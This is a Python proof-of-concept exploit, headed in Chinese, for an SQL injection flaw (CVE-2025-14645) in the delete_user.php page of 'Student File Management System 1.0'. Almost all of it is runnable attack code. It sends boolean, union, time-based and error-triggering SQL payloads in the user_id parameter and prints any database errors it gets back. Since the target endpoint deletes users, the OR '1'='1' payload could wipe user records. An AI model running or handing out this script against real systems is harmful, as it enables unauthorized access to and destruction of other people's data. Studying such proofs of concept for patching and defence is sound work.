CVE-2025-14645: Student File Management System 1.0 delete_user.php SQL注入漏洞

import requests import sys # CVE-2025-14645 PoC - SQL Injection in delete_user.php # Target: Student File Management System 1.0 # File: /admin/delete_user.php # Parameter: user_id def exploit_sql_injection(target_url, user_id_payload): """ Exploit SQL injection vulnerability in delete_user.php target_url: Base URL of the vulnerable application user_id_payload: Malicious SQL payload for user_id parameter """ # Construct the malicious URL delete_user_url = f"{target_url}/admin/delete_user.php" # Prepare the payload params = { 'user_id': user_id_payload } try: # Send GET request with malicious payload response = requests.get(delete_user_url, params=params, timeout=10) print(f"[*] Sending payload: {user_id_payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error messages (indicating vulnerability) if 'sql' in response.text.lower() or 'mysql' in response.text.lower() or 'error' in response.text.lower(): print("[+] Potential SQL injection detected!") print("[*] Response snippet:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14645.py <target_url>") print("Example: python cve-2025-14645.py http://localhost/student_file_manager") sys.exit(1) target = sys.argv[1].rstrip('/') # Test basic SQL injection payloads payloads = [ "1'", # Basic quote to trigger SQL error "1' OR '1'='1", # Boolean-based blind injection "1' UNION SELECT 1,2,3--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' ORDER BY 5--" # Determine number of columns ] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-14645\n") for payload in payloads: exploit_sql_injection(target, payload) print("-" * 50)